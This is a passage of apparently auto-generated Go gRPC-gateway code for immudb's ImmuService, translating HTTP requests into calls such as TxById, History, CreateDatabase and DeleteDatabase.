!ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "prefix") } protoReq.Prefix, err = runtime.Bytes(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "prefix", err) } msg, err := server.Count(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.CountAll(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_CountAll_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.CountAll(ctx, &protoReq) return msg, metadata, err } var ( filter_ImmuService_TxById_0 = &utilities.DoubleArray{Encoding: map[string]int{"tx": 0}, Base: []int{1, 1, 0}, Check: []int{0, 1, 2}} ) func request_ImmuService_TxById_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq TxRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["tx"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "tx") } protoReq.Tx, err = runtime.Uint64(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "tx", err) } if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_TxById_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.TxById(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_TxById_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq TxRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["tx"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "tx") } protoReq.Tx, err = runtime.Uint64(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "tx", err) } if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_TxById_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.TxById(ctx, &protoReq) return msg, metadata, err } var ( filter_ImmuService_VerifiableTxById_0 = &utilities.DoubleArray{Encoding: map[string]int{"tx": 0}, Base: []int{1, 1, 0}, Check: []int{0, 1, 2}} ) func request_ImmuService_VerifiableTxById_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq VerifiableTxRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["tx"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "tx") } protoReq.Tx, err = runtime.Uint64(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "tx", err) } if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_VerifiableTxById_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.VerifiableTxById(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_VerifiableTxById_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq VerifiableTxRequest var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["tx"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "tx") } protoReq.Tx, err = runtime.Uint64(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "tx", err) } if err := req.ParseForm(); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } if err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_VerifiableTxById_0); err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.VerifiableTxById(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_TxScan_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq TxScanRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.TxScan(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_TxScan_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq TxScanRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.TxScan(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_History_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq HistoryRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.History(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_History_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq HistoryRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.History(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_ServerInfo_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ServerInfoRequest var metadata runtime.ServerMetadata msg, err := client.ServerInfo(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_ServerInfo_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ServerInfoRequest var metadata runtime.ServerMetadata msg, err := server.ServerInfo(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.Health(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_Health_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.Health(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.DatabaseHealth(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_DatabaseHealth_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.DatabaseHealth(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := client.CurrentState(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_CurrentState_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata msg, err := server.CurrentState(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_SetReference_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ReferenceRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.SetReference(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_SetReference_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ReferenceRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.SetReference(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_VerifiableSetReference_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq VerifiableReferenceRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.VerifiableSetReference(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_VerifiableSetReference_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq VerifiableReferenceRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.VerifiableSetReference(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_ZAdd_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ZAddRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.ZAdd(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_ZAdd_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ZAddRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.ZAdd(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_VerifiableZAdd_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq VerifiableZAddRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.VerifiableZAdd(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_VerifiableZAdd_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq VerifiableZAddRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.VerifiableZAdd(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_ZScan_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ZScanRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.ZScan(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_ZScan_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq ZScanRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.ZScan(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_CreateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq Database var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.CreateDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_CreateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq Database var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.CreateDatabase(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_CreateDatabaseWith_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DatabaseSettings var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.CreateDatabaseWith(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_CreateDatabaseWith_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DatabaseSettings var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.CreateDatabaseWith(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_CreateDatabaseV2_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CreateDatabaseRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.CreateDatabaseV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_CreateDatabaseV2_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CreateDatabaseRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.CreateDatabaseV2(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_LoadDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq LoadDatabaseRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.LoadDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_LoadDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq LoadDatabaseRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.LoadDatabase(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_UnloadDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq UnloadDatabaseRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.UnloadDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_UnloadDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq UnloadDatabaseRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.UnloadDatabase(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_DeleteDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DeleteDatabaseRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.DeleteDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_DeleteDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DeleteDatabaseRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.DeleteDatabase(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.DatabaseList(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq emptypb.Empty var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.DatabaseList(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_DatabaseListV2_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DatabaseListRequestV2 var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.DatabaseListV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_DatabaseListV2_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DatabaseListRequestV2 var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.DatabaseListV2(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_UseDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq Database var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["databaseName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "databaseName") } protoReq.DatabaseName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "databaseName", err) } msg, err := client.UseDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_UseDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq Database var metadata runtime.ServerMetadata var ( val string ok bool err error _ = err ) val, ok = pathParams["databaseName"] if !ok { return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "databaseName") } protoReq.DatabaseName, err = runtime.String(val) if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "databaseName", err) } msg, err := server.UseDatabase(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_UpdateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DatabaseSettings var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.UpdateDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_ImmuService_UpdateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DatabaseSettings var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.UpdateDatabase(ctx, &protoReq) return msg, metadata, err } func request_ImmuService_UpdateDatabaseV2_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq UpdateDatabaseRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err 